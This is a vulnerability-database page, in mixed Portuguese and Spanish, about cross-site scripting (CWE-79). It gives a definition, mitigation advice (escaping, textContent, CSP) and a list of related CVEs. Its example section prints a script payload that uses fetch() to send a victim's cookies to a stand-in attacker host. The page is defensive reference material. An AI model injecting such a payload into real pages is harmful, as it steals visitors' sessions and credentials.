Fallos del tipo CWE-79

29.607 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-22132HIGHWeGIA has a Cross-Site Scripting (XSS) in File Upload FieldEPSS 0.4%CVE-2024-23819MEDIUMGeoServer Stored Cross-Site Scripting (XSS) vulnerability in MapML HTML PageEPSS 0.4%CVE-2024-3266MEDIUMBold Page Builder <= 4.8.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via Widget URL AttributeEPSS 0.4%CVE-2024-29777HIGHWordPress Forminator plugin <= 1.29.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-58305HIGHWonderCMS 4.3.2 Cross-Site Scripting Remote Code Execution via Module InstallationEPSS 0.4%CVE-2025-32524HIGHWordPress MyWorks WooCommerce Sync for QuickBooks Online plugin <= 2.9.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-23818MEDIUMGeoServer Stored Cross-Site Scripting (XSS) vulnerability in WMS OpenLayers FormatEPSS 0.4%CVE-2024-25599HIGHWordPress Seriously Simple Podcasting plugin <= 3.0.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-0220MEDIUMTrimble SPS851 Ethernet Configuration Menu cross site scriptingEPSS 0.4%CVE-2024-23640MEDIUMGeoServer Stored Cross-Site Scripting (XSS) vulnerability in Style PublisherEPSS 0.4%CVE-2024-13157MEDIUMMP3 Audio Player – Music Player, Podcast Player & Radio by Sonaar <= 5.9.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via Podcast RSS FeedEPSS 0.4%CVE-2024-33304MEDIUMSourceCodester Product Show Room 1.0 is vulnerable to Cross Site Scripting (XSS) via "Last Name" under Add Users.EPSS 0.4%CVE-2024-9267MEDIUMEasy WordPress Subscribe – Optin Hound <= 1.4.3 - Reflected Cross-Site Scripting via add_query_arg ParameterEPSS 0.4%CVE-2025-32525HIGHWordPress Interactive Geo Maps plugin <= 1.6.24 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-11778MEDIUMCanadaHelps Embedded Donation <= 1.0.1 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2025-32539HIGHWordPress WooCommerce – Store Exporter plugin <= 2.7.4 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-32337MEDIUMA cross-site scripting (XSS) vulnerability in the Settings section of WonderCMS v3.4.3 allows attackers to execute arbitrary web scripts or EPSS 0.4%CVE-2024-37308MEDIUMWordPress Cooked Plugin - Authenticated (Contributor+) Persistent Cross-Site Scripting VulnerabilityEPSS 0.4%CVE-2024-8648MEDIUMImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in GitLabEPSS 0.4%CVE-2024-8117MEDIUMThe Ultimate WordPress Toolkit – WP Extended <= 3.0.8 - Reflected Cross-Site Scripting via selected_optionEPSS 0.4%